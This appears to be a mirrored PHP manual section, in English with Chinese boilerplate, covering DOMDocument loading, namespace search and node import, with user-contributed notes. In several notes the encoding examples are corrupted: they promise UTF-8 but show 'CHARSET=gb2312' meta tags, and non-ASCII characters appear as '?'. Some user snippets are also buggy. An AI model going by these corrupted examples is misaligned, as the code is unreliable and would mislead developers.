   <param name="param2">value2</param>
  </section>
  <section id="section2">
   <param name="param3">value3</param>
  </section>
</config>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('param');

foreach ($params as $param) {
       echo $param -> getAttribute('name').'<br>';
}
?>

Expected result:
--------------
param1
param2
param3


Searches for all elements with given tag name in specified namespace

  • ? DOMDocument::getElementsByTagName
  • DOMDocument::importNode ?
  • PHP Manual
  • DOMDocument
  • Searches for all elements with given tag name in specified namespace

DOMDocument::getElementsByTagNameNS

(PHP 5, PHP 7)

DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace

说明

public DOMDocument::getElementsByTagNameNS ( string $namespaceURI , string $localName ) : DOMNodeList

Returns a DOMNodeList of all elements with a given local name and a namespace URI.

参数

namespaceURI

The namespace URI of the elements to match on. The special value * matches all namespaces.

localName

The local name of the elements to match on. The special value * matches all local names.

返回值

A new DOMNodeList object containing all the matched elements.

范例

Example #1 Get all the XInclude elements

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
 <xi:include href="book.xml">
  <xi:fallback>
   <error>xinclude: book.xml not found</error>
  </xi:fallback>
 </xi:include>
 <include>
  This is another namespace
 </include>
</para>
</chapter>
EOD;
$dom = new DOMDocument;

// load the XML string defined above
$dom->loadXML($xml);

foreach ($dom->getElementsByTagNameNS('http://www.w3.org/2001/XInclude', '*') as $element) {
    echo 'local name: ', $element->localName, ', prefix: ', $element->prefix, "\n";
}
?>

以上例程会输出：

local name: include, prefix: xi
local name: fallback, prefix: xi

参见

  • DOMDocument::getElementsByTagName() - Searches for all elements with given local tag name

User Contributed Notes

RiKdnUA at mail dot ru 19-Mar-2015 07:47
<?php
ini_set("display_errors","on"); error_reporting(-1);
$doc="<?xml version='1.0' encoding='WINDOWS-1251'?>
<htm:body xmlns:htm='w3.org'>
<span>Text</span>
<htm:img htm:src='imgSrc'/>
</htm:body>";
$dom = new DOMDocument('1.0','WINDOWS-1251');
$dom->preserveWhiteSpace=false;
$dom->loadXML($doc);
$domList=$dom->getElementsByTagNameNS('*','*');//all namespaces, all local names
echo "Количество элементов. The number of elements: ".$domList->length."<br />";// 2 (not 3)
for ($i=0; $i<$domList->length; $i++)
{echo "Элемент $i. The element $i: ".$domList->item($i)->tagName."<br />";
}
/*
Tested in PHP 5.2.9-2 and 5.2.17
The above example will output:
Количество элементов. The number of elements: 2
Элемент 0. The element 0: htm:body
Элемент 1. The element 1: htm:img

Вывод. Не найден элемент span
Conclusion. Not found span element
*/
?>


Import node into current document

  • ? DOMDocument::getElementsByTagNameNS
  • DOMDocument::load ?
  • PHP Manual
  • DOMDocument
  • Import node into current document

DOMDocument::importNode

(PHP 5, PHP 7)

DOMDocument::importNode — Import node into current document

说明

public DOMDocument::importNode ( DOMNode $importedNode [, bool $deep = FALSE ] ) : DOMNode

This function returns a copy of the node to import and associates it with the current document.

参数

importedNode

The node to import.

deep

If set to TRUE, this method will recursively import the subtree under the importedNode.

Note:

To copy the nodes attributes deep needs to be set to TRUE

返回值

The copied node or FALSE, if it cannot be copied.

错误／异常

DOMException is thrown if node cannot be imported.

范例

Example #1 DOMDocument::importNode() example

Copying nodes between documents.

<?php

$orgdoc = new DOMDocument;
$orgdoc->loadXML("<root><element><child>text in child</child></element></root>");

// The node we want to import to a new document
$node = $orgdoc->getElementsByTagName("element")->item(0);

// Create a new document
$newdoc = new DOMDocument;
$newdoc->formatOutput = true;

// Add some markup
$newdoc->loadXML("<root><someelement>text in some element</someelement></root>");

echo "The 'new document' before copying nodes into it:\n";
echo $newdoc->saveXML();

// Import the node, and all its children, to the document
$node = $newdoc->importNode($node, true);
// And then append it to the "<root>" node
$newdoc->documentElement->appendChild($node);

echo "\nThe 'new document' after copying the nodes into it:\n";
echo $newdoc->saveXML();
?>

以上例程会输出：

The 'new document' before copying nodes into it:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
</root>

The 'new document' after copying the nodes into it:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
  <element>
    <child>text in child</child>
  </element>
</root>

User Contributed Notes

rikdnua at mail dot ru 11-Sep-2013 01:54
The behavior of importNode($node, false) is different in PHP 5.2.9-2 and PHP 5.2.17.
The second option is explicitly set to false. In PHP 5.2.9-2 importNode() imports the elements WITHOUT attributes. In PHP 5.2.17 the elements imported ALONG with their attributes.
<?php
$xml="
<html>
<a href='yandex.com'>Yandex.com</a>
<a href='rik.dn.ua'>RiK.dn.ua</a>
</html>
";
$doc=new domDocument('1.0');
$doc->loadXML($xml);
$list=$doc->getElementsByTagName('a');
$doc1=new domDocument('1.0');
$doc1->formatOutput=true;
for($i=0; $i<$list->length; $i++) $doc1->appendChild($doc1->importNode($list->item($i), false));
$doc1->save('file.xml');
?>

file.xml PHP 5.2.9-2
<?xml version="1.0"?>
<a/>
<a/>

file.xml PHP 5.2.17
<?xml version="1.0"?>
<a href="yandex.com"/>
<a href="rik.dn.ua"/>
c dot 1 at smithies dot org 19-Oct-2009 06:40
Assume that $source and $dest are instances of DOMDocument. Assume that $sourcedoc contains an element with ID 'sourceID' and that $destdoc contains an element with ID 'destID'. Assume that we have already set up source and destination element variables thus:

<?php
 $src = $sourcedoc->getElementById('sourceID');
 $dst = $destdoc->getElementById('destID');
?>

Finally, assume that $sel has more than one child node.

In order to import the child elements of $src as children of $dst, you might do something like this:

<?php
$src = $dest->importNode($src, TRUE);

foreach ($src->childNodes as $el) $dst->appendChild($el);
?>

But this does not work. foreach gets confused, because (as noted below) appending an imported element to another existing element in the same document causes it to be removed from its current parent element.

Therefore, the following technique should be used:

<?php
foreach ($src->childNodes as $el) $dst->appendChild($destdoc->importNode($el, TRUE));
?>
p dot reisinger at gmail dot com 29-Dec-2008 03:43
When you use function/method below, php automaticaly inserts namespaces (if you have some). If you want to join xml files exactly, then you can just use placeholders and treat xml as a string.
<?php
function joinXMLStrings($file1, $file2)
{
    //remove xml declaration
    $file2 = trim(preg_replace('/<\?xml.*\?>/', '', $file2, 1));

    //insert file2 in the place of placeholder in the first file
    $file1 = trim(preg_replace('/<\?file2\s\?>/', $file2, $file1, 1));
}
?>

so function looks like this and you insert two xml files. First file has to have placeholder (where you insert file2). Placeholder in this case will be <?file2 ?>

!!!this is only for ilustration - test before you use it
p dot reisinger at gmail dot com 23-Dec-2008 07:32
method (can be used as a function as well) that joins two xml files. first argument is parent xml (the one to be inserted into), second child (the one to be inserted) and third is optional argument that specifies the parent's tag where to insert children xml. If not specified then children is inserted as the last element, just before end of the root
<?php
    protected function joinXML($parent, $child, $tag = null)
    {
        $DOMChild = new DOMDocument;
        $DOMChild->loadXML($child);
        $node = $DOMChild->documentElement;

        $DOMParent = new DOMDocument;
        $DOMParent->formatOutput = true;
        $DOMParent->loadXML($parent);

        $node = $DOMParent->importNode($node, true);

        if ($tag !== null) {
            $tag = $DOMParent->getElementsByTagName($tag)->item(0);
            $tag->appendChild($node);
        } else {
            $DOMParent->documentElement->appendChild($node);
        }

        return $DOMParent->saveXML();
    }
?>
mailme at sove dot nl 11-Jun-2008 05:29
DOMDocument->importNode with seconds argument false will leave attributes behind. To fix this:

$__DOM->importNode
   (
      $__INPUT->cloneNode(false), true
   );

$__DOM (DOMDocument) will import the $__INPUT node (DOMElement) INCLUDING attributes.
mark at 4inloop dot de 05-Apr-2007 05:51
When you left out the second argument or enter false, not only the child nodes are ommited. The attributes of the node are also cut off.
adjwilli 05-Oct-2006 01:08
Editing XML with PHP can be a pain in the Secretary of State Powell, so here's a script to replace an XML node with a user-provided one through the POST. It's usually a good idea to run the $_POST['xml'] through a validation check and clean it for other thing before running this.

Pretty much this script expects a user-provided node called $_POST['xml'] and the XPath of the node in the original document that you want to replace called $_POST['XPath']. It also loads the original XML document from $xml. The function nodeRunner begins with the root node of the document you're editting and the XPath for the root element (these are more to make recursion easy than anything else).

$doc = new DOMDocument();
$doc->loadXML($xml); // $xml expects an XML string

function nodeRunner ($node,$xpath) {
    global $doc;
    if ($xpath == $_POST['XPath']) {

        $xmlPost = new DOMDocument();
        $xmlPost->loadXML($_POST['xml']);

        $newNode = $doc->importNode($xmlPost->firstChild,true);

        $node->parentNode->replaceChild($newNode,$node);
    } else {

        $page = 1;
        $section = 1;

        if ($node->hasChildNodes()) {
            foreach ($node->childNodes as $nodling) {
                $nodeName = $nodling->nodeName;
                if ($nodeName == 'page' || $nodeName == 'section') {
                    nodeRunner ($nodling,$xpath."/".$nodeName."[".$$nodeName."]");
                    $$nodeName++;
                }
            }
        }
    }
}

nodeRunner ($doc->documentElement,"/root[1]"); // /root should be explicit name of the root  element of the XPath

$doc->saveXML();
stomas 19-Sep-2006 06:14
I think this should do the same:

<?
 // Import $b into $a's document
 function myimport($a, $b)
 {
   if ($a->ownerDocument->isSameNode($b->ownerDocument))
   {
    return $b->cloneNode(TRUE);
   }
   else
   {
    return $a->ownerDocument->importNode($b, TRUE);
   }
 }
 ?>
Colin 12-Sep-2006 09:11
As of PHP 5.1.6 with libxml 2.6.26 and DOM/XML API version 20031129, importNode() does nothing if attempting to import from the same document.  Meaning, if you do an $ret = importNode and then appendChild($ret) or insertBefore($ret, ...) then you will end up *moving* the node instead of ending up with a copy.

If you expect importNode to give you a copy of the source (in this case, a deep copy) then you must account for them being from the same document.  This function addresses this:

<?
// Import $b into $a's document
function myimport($a, $b)
{
  if ($a->ownerDocument->isSameNode($b->ownerDocument))
  {
    $temp = new DOMDocument();
    $ret = $temp->importNode($b, TRUE);
    return $a->ownerDocument->importNode($ret, TRUE);
  }
  else
  {
    return $a->ownerDocument->importNode($b, TRUE);
  }
}
?>

(Function was freshly coded for this note but I based it off another, working function of mine.)

This function checks if the documents are the same and uses a new document (guaranteed to be different this way) to force a copy into $temp and then force a copy back into $a->ownerDocument.

Obviously, no error checking has been done.
andy dot clark at dial dot pipex dot com 15-Aug-2006 08:20
One useful use of importNode is to copy one node onto another.

function CopyXMLNode($SourceNode,$DestNode)
 {
  if ($SourceNode->nodeName != '#text')
   {
     //Copy this node
    $node = $DestNode->ownerDocument->importNode($SourceNode, true);
    $node = $DestNode->appendChild($node);
    //Now copy the child nodes
    foreach ($SourceNode->childNodes AS $item)
     {
     $this->CopyXMLNode($item,$node);
     }
    }
  }
Fitopaldi 03-Aug-2005 11:29
importNode returns a copy of the node to import and associates it with the current document, but not import the node to the current DOMDocument. Use appendChild for import the copy of the node to current DOMDocument.

<?
 $domNode = $dom->importNode($aDomNode, true);
 $currentDomDocument->appendChild($domNode);
?>


Load XML from a file

  • ? DOMDocument::importNode
  • DOMDocument::loadHTML ?
  • PHP Manual
  • DOMDocument
  • Load XML from a file

DOMDocument::load

(PHP 5, PHP 7)

DOMDocument::load — Load XML from a file

说明

public DOMDocument::load ( string $filename [, int $options = 0 ] ) : mixed

Loads an XML document from a file.

Warning

Unix style paths with forward slashes can cause significant performance degradation on Windows systems; be sure to call realpath() in such a case.

参数

filename

The path to the XML document.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.

错误／异常

If an empty string is passed as the filename or an empty file is named, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

范例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

参见

  • DOMDocument::loadXML() - Load XML from a string
  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string

User Contributed Notes

sainthyoga2003 at gmail dot com 09-Feb-2012 03:37
in the default example:

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

you must enter the absolute path for book.xml due for get a false result in load function.
sainthyoga2003 at gmail dot com 25-Feb-2011 05:38
i've found the partial solution for xml:id warning,is explained at this address: https://fosswiki.liip.ch/display/BLOG/GetElementById+Pitfalls

there explains that:
The ID does have to be a valid NCName, which for example means, that the first letter can't be a number.

and in my xml:id i had a number. :D
sainthyoga2003 at gmail dot com 16-Feb-2011 09:31
adding an id for a child, when i use abstract mode i get the following warning:

[quote]Warning: DOMDocument::load() [domdocument.load]: xml:id : attribute value xx is not an NCName in /fake/path/to/xmlfile[/quote]
_ michael 01-Jun-2010 08:34
load() will handle non-ASCII characters depending on the details of the XML declaration, but in a somewhat surprising way. One would assume that the declarations '<?xml version="1.0" encoding="UTF-8"?>' and '<?xml version="1.0"?>' are treated in the same way because UTF-8 is the default encoding anyway. But not so.

* If there is an XML declaration defining the encoding *explicitly*, the non-ASCII characters remain unchanged.
* If the XML declaration does not define the encoding explicitly, or if the XML declaration is missing, non-ASCII characters are converted into numeric entities.

So the document

    <?xml version="1.0"?>
    <root><nonascii>?</nonascii></root>

will be converted to

    <?xml version="1.0"?>
    <root><nonascii>&#xE4;</nonascii></root>

The same happens if there is no XML declaration at all. On the other hand, the document

    <?xml version="1.0" encoding="UTF-8"?>
    <root><nonascii>?</nonascii></root>

will remain as it is.

This behaviour applies to loadXML() as well.
_ michael 19-Apr-2010 07:50
XHTML and entities: The solution proposed below by zachatwork at gmail dot com didn't work for me. I checked on a number of servers (both LAMPP and WAMPP) - on each of them, calling loadXML() with the LIBXML_DTDLOAD option triggered an external request for the DTD. And that's bad news.

If allow_url_fopen is turned off, the request for the DTD fails with a warning. If it is turned on, the request fails because these w3c URLs return a 503 Service Unavailable.

HTML entities still generate a warning in either case.

The best solution, as far as I can tell, is simply to ignore the warnings and suppress them using '@'. I can't recommend parsing XHTML with loadHTML() instead of loadXML() - yes, you get rid of the entity problem, but loadHTML() changes the source while parsing it (tries to 'fix' it even though there is nothing to fix).
zachatwork at gmail dot com 30-Jun-2009 11:28
You can easily avoid the warning about &nbsp; references by using the LIBXML_DTDLOAD option.

<?php

$html = <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  </head>
  <body>
    <p>&nbsp;</p>
  </body>
</html>
EOF;

// This one works perfectly.
$dom = new DOMDocument();
$dom->loadXML($html, LIBXML_DTDLOAD);
print $dom->saveXML();

// This one produces a warning.
$dom = new DOMDocument();
$dom->loadXML($html);
print $dom->saveXML();

?>

See also: http://www.php.net/manual/en/libxml.constants.php

Note that libxml will detect that your DTD is locally available via /etc/xml/catalog. So there is no worry about this causing your DOM loads to make external network requests.
Jonas Due Vesterheden 09-Jun-2009 08:18
I had a problem with loading documents over HTTP. I would get errors looking like this:

Warning: DOMDocument::load(http://external/document.xml): failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error

The document would load fine in browsers and using wget. The problem is that DOMDocument::load() on my systems (both OS X and Linux) didn't send any User-Agent header which for some weird reason made Microsoft-IIS/6.0 respond with the 500 error.

The solution is found on http://php.net/manual/en/function.libxml-set-streams-context.php :

<?php
$opts = array(
    'http' => array(
        'user_agent' => 'PHP libxml agent',
    )
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');
?>
syntaxiko 04-Apr-2009 10:16
Function will not work if using XML DOM PECL module
darren at viamedia dot co dot za 05-Aug-2008 07:17
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>
the_N_Channel 15-Jul-2008 04:53
NOTE, will not load successfully if there is a comment at the beginning of the file before the <?xml version="1.0" ?> declaration!
hh dot lohmann at yahoo dot de 30-Aug-2007 03:48
BadGuy′s note may be confusing since what he depicts is no special property of the relevant method. PHP works always in and on a local file system which means that if you want to use resources from other systems or - what is, indeed, BadGuy′s problem - need resources that have been dealt with by other programs or processes, you have to state and manage that explicitly in your code. PHP is just a quite normal program in that.

BadGuy′s solution is using the "http wrapper" to get output from another process (see "wrappers" in the PHP manual). Doing this, the appropriate syntax for http calls has to be respected.
admin at tijnema dot tijnema dot info 02-Jun-2007 04:39
In reply to BadGuy [at] BadGuy [dot] nl

When the news.php file is located on the same server, like you said in the first example then http://my.beautiful-website.com/xmlsource/news.php wouldn't work, but you should use http://localhost/xmlsource/news.php or http://127.0.0.1/xmlsource/news.php
BadGuy [at] BadGuy [dot] nl 18-Jan-2007 08:50
Note that this method uses the local file system before doing anything remote. The 'disadvantage' would be that if you would do the following:
<?php
$xml = new DOMDocument;
$xml->load("xmlsource/news.php");
?>

This would not make the method read the actual output of the news.php file --presumably valid xml data--, but the file contents --obviously this would be php code. So this will return an error saying news.php is missing the xml declaration and maybe the xml start-tag

What would work is the following:

<?php
$xml = new DOMDocument;
$xml->load("http://my.beautiful-website.com/xmlsource/news.php");
?>

This will force a http request to be used to get this file instead of just locally reading it and the file just returning code
daevid at daevid dot com 18-Oct-2005 05:08
Suppose you wanted to dynamically load an array from an .XSD file. This method is your guy. just remember to use the actual xs: portion in xpaths and such.

All the other "load" methods will error out.

<?php
$attributes = array();
$xsdstring = "/htdocs/api/xsd/common.xsd";
$XSDDOC = new DOMDocument();
$XSDDOC->preserveWhiteSpace = false;
if ($XSDDOC->load($xsdstring))
{
    $xsdpath = new DOMXPath($XSDDOC);
    $attributeNodes =
              $xsdpath->
              query('//xs:simpleType[@name="attributeType"]')
              ->item(0);
    foreach ($attributeNodes->childNodes as $attr)
    {
        $attributes[ $attr->getAttribute('value') ] = $attr->getAttribute('name');
    }
    unset($xsdpath);
}
print_r($attributes);
?>


Load HTML from a string

  • ? DOMDocument::load
  • DOMDocument::loadHTMLFile ?
  • PHP Manual
  • DOMDocument
  • Load HTML from a string

DOMDocument::loadHTML

(PHP 5, PHP 7)

DOMDocument::loadHTML — Load HTML from a string

说明

public DOMDocument::loadHTML ( string $source [, int $options = 0 ] ) : bool

The function parses the HTML contained in the string source. Unlike loading XML, HTML does not have to be well-formed to load. This function may also be called statically to load and create a DOMDocument object. The static invocation may be used when no DOMDocument properties need to be set prior to loading.

参数

source

The HTML string.

options

Since PHP 5.4.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.

错误／异常

If an empty string is passed as the source, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

尽管非正确格式化的 HTML 仍应该被成功调入，但此函数会在遇到错误标记时产生 E_WARNING 错误。libxml 错误处理函数可以用来处理这类错误。

范例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br></body></html>");
echo $doc->saveHTML();
?>

更新日志

版本 | 说明
5.4.0 | Added options parameter.

参见

  • DOMDocument::loadHTMLFile() - Load HTML from a file
  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting

User Contributed Notes

kerim-yagmurcu at gmx dot de 24-Dec-2016 03:13
For those of you who want to get an external URL's class element, I have 2 usefull functions. In this example we get the '<h3 class="r">'
 elements back (search result headers) from google search:

1. Check the URL (if it is reachable, existing)
<?php
# URL Check
function url_check($url) {
    $headers = @get_headers($url);
    return is_array($headers) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$headers[0]) : false;
};
?>

2. Clean the element you want to get (remove all tags, tabs, new-lines etc.)
<?php
# Function to clean a string
function clean($text){
    $clean = html_entity_decode(trim(str_replace(';','-',preg_replace('/\s+/S', " ", strip_tags($text)))));// remove everything
    return $clean;
    echo '\n';// throw a new line
}
?>

After doing that, we can output the search result headers with following method:
<?php
$searchstring = 'djceejay';
$url = 'http://www.google.de/webhp#q='.$searchstring;
if(url_check($url)){
    $doc = new DomDocument;
    $doc->validateOnParse = true;
    $doc->loadHtml(file_get_contents($url));
    $output = clean($doc->getElementByClass('r')->textContent);
    echo $output . '<br>';
}else{
    echo 'URL not reachable!';// Throw message when URL not be called
}
?>
fr at felix-riesterer dot de 13-Feb-2016 01:43
Remember: If you use an HTML5 doctype and a meta element like so

<meta CHARSET=gb2312">

your HTML code will get interpreted as ISO-8859-something and non-ASCII chars will get converted into HTML entities. However the HTML4-like version will work (as has been pointed out 10 years ago by "bigtree at 29a"):

<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
finkenb2 at mail dot lib dot msu dot edu 05-Oct-2015 04:03
Warning:  This does not function well with HTML5 elements such as SVG.  Most of the advice on the Web is to turn off errors in order to have it work with HTML5.
cake at brothercake dot com 16-Dec-2012 05:57
Be aware that this function doesn't actually understand HTML -- it fixes tag-soup input using the general rules of SGML, so it creates well-formed markup, but has no idea which element contexts are allowed.

For example, with input like this where the first element isn't closed:

    <span>hello <div>world</div>

loadHTML will change it to this, which is well-formed but invalid:

    <span>hello <div>world</div></span>
Alex 10-Apr-2010 08:45
Beware of the "gotcha" (works as designed but not as expected): if you use loadHTML, you cannot validate the document. Validation is only for XML. Details here: http://bugs.php.net/bug.php?id=43771&edit=1
Shane Harter 04-Jan-2010 08:42
DOMDocument is very good at dealing with imperfect markup, but it throws warnings all over the place when it does.

This isn't well documented here. The solution to this is to implement a separate aparatus for dealing with just these errors.

Set libxml_use_internal_errors(true) before calling loadHTML. This will prevent errors from bubbling up to your default error handler. And you can then get at them (if you desire) using other libxml error functions.

You can find more info here http://www.php.net/manual/en/ref.libxml.php
mdmitry at gmail dot com 21-Dec-2009 09:02
You can also load HTML as UTF-8 using this simple hack:

<?php

$doc = new DOMDocument();
$doc->loadHTML('<?xml encoding="UTF-8">' . $html);

// dirty fix
foreach ($doc->childNodes as $item)
    if ($item->nodeType == XML_PI_NODE)
        $doc->removeChild($item); // remove hack
$doc->encoding = 'UTF-8'; // insert proper

?>
piopier 14-Jun-2009 08:29
Here is a function I wrote to capitalize the previous remarks about charset problems (UTF-8...) when using loadHTML and then DOM functions.
It adds the charset meta tag just after <head> to improve automatic encoding detection, converts any specific character to an html entity, thus PHP DOM functions/attributes will return correct values.

<?php
mb_detect_order("ASCII,UTF-8,ISO-8859-1,windows-1252,iso-8859-15");
function loadNprepare($url,$encod='') {
        $content        = file_get_contents($url);
        if (!empty($content)) {
                if (empty($encod))
                        $encod  = mb_detect_encoding($content);
                $headpos        = mb_strpos($content,'<head>');
                if (FALSE=== $headpos)
                        $headpos= mb_strpos($content,'<HEAD>');
                if (FALSE!== $headpos) {
                        $headpos+=6;
                        $content = mb_substr($content,0,$headpos) . '<meta http-equiv="Content-Type" content="text/html; charset='.$encod.'">' .mb_substr($content,$headpos);
                }
                $content=mb_convert_encoding($content, 'HTML-ENTITIES', $encod);
        }
        $dom = new DomDocument;
        $res = $dom->loadHTML($content);
        if (!$res) return FALSE;
        return $dom;
}
?>

NB: it uses mb_strpos/mb_substr instead of mb_ereg_replace because that seemed more efficient with huge html pages.
Errol 11-Feb-2009 08:05
It should be noted that when any text is provided within the body tag
outside of a containing element, the DOMDocument will encapsulate that
text into a paragraph tag (<p>).

For example:
<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<p>Test<br></p>
<div>Text</div>
</body></html>

while:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    "<html><body><i>Test</i><br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<i>Test</i><br><div>Text</div>
</body></html>
jamesedwardcooke+php at gmail dot com 19-Oct-2008 11:37
Using loadHTML() automagically sets the doctype property of your DOMDocument instance(to the doctype in the html, or defaults to 4.0 Transitional). If you set the doctype with DOMImplementation it will be overridden.

I assumed it was possible to set it and then load html with the doctype I defined(in order to decide the doctype at runtime), and ran into a huge headache trying to find out where my doctype was going. Hopefully this helps someone else.
xuanbn at yahoo dot com 04-Oct-2007 01:38
If you use loadHTML() to process utf HTML string (eg in Vietnamese), you may experience result in garbage text, while some files were OK. Even your HTML already have meta charset  like

  <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">

I have discovered that, to help loadHTML() process utf file correctly, the meta tag should come first, before any utf string appear. For example, this HTML file

<html>
 <head>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
    <title> Vietnamese - Ti?ng Vi?t</title>
  </head>
<body></body>
</html>

will be OK with loadHTML() when <meta> tag appear <title> tag.

But the file below will not regcornize by loadHTML() because <title> tag contains utf string appear before <meta> tag.

<html>
 <head>
    <title> Vietnamese - Ti?ng Vi?t</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
  </head>
<body></body>
</html>
hanhvansu at yahoo dot com 26-Apr-2007 08:50
When using loadHTML() to process UTF-8 pages, you may meet the problem that the output of dom functions are not like the input. For example, if you want to get "C?nh tranh", you will receive "Cáo?nh tranh".  I suggest we use mb_convert_encoding before load UTF-8 page :
<?php
    $pageDom = new DomDocument();
    $searchPage = mb_convert_encoding($htmlUTF8Page, 'HTML-ENTITIES', "UTF-8");
    @$pageDom->loadHTML($searchPage);

?>
romain dot lalaut at laposte dot net 15-Feb-2007 08:31
Note that the elements of such document will have no namespace even with <html xmlns="http://www.w3.org/1999/xhtml">
bigtree at DONTSPAM dot 29a dot nl 26-Apr-2005 02:15
Pay attention when loading html that has a different charset than iso-8859-1. Since this method does not actively try to figure out what the html you are trying to load is encoded in (like most browsers do), you have to specify it in the html head. If, for instance, your html is in utf-8, make sure you have a meta tag in the html's head section:

<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312"/>
</head>

If you do not specify the charset like this, all high-ascii bytes will be html-encoded. It is not enough to set the dom document you are loading the html in to UTF-8.


Load HTML from a file

  • ? DOMDocument::loadHTML
  • DOMDocument::loadXML ?
  • PHP Manual
  • DOMDocument
  • Load HTML from a file

DOMDocument::loadHTMLFile

(PHP 5, PHP 7)

DOMDocument::loadHTMLFile — Load HTML from a file

说明

public DOMDocument::loadHTMLFile ( string $filename [, int $options = 0 ] ) : bool

The function parses the HTML document in the file named filename. Unlike loading XML, HTML does not have to be well-formed to load.

参数

filename

The path to the HTML file.

options

Since PHP 5.4.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns a DOMDocument 或者在失败时返回 FALSE.

错误／异常

If an empty string is passed as the filename or an empty file is named, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

尽管非正确格式化的 HTML 仍应该被成功调入，但此函数会在遇到错误标记时产生 E_WARNING 错误。libxml 错误处理函数可以用来处理这类错误。

范例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadHTMLFile("filename.html");
echo $doc->saveHTML();
?>

更新日志

版本 | 说明
5.4.0 | Added options parameter.

参见

  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting

User Contributed Notes

qrworld.net 11-Nov-2014 04:37
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
onemanbanddan at gmail dot com 04-Mar-2014 12:28
The options for surpressing errors and warnings will not work with this as they do for loadXML()
e.g.
<?php
$doc->loadHTMLFile($file, LIBXML_NOWARNING | LIBXML_NOERROR);
?>
will not work.
you must use:
<?php
libxml_use_internal_errors(true);
$doc->loadHTMLFile($file);
?>
and handle the exceptions as neccesarry.
Mark Omohundro, ajamyajax dot com 28-Nov-2008 06:32
<?php
// try this html listing example for all nodes / includes a few getElementsByTagName options:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

// example 1:
$elements = $doc->getElementsByTagName('*');
// example 2:
$elements = $doc->getElementsByTagName('html');
// example 3:
//$elements = $doc->getElementsByTagName('body');
// example 4:
//$elements = $doc->getElementsByTagName('table');
// example 5:
//$elements = $doc->getElementsByTagName('div');

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>". $element->nodeName. ": ";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>
gzech at SPAMFILTER dot eso dot org 21-Feb-2007 02:09
If you want to suppress output warnings from loadHTMLFile($url), put an @ sign in front. This even works in:
<?php
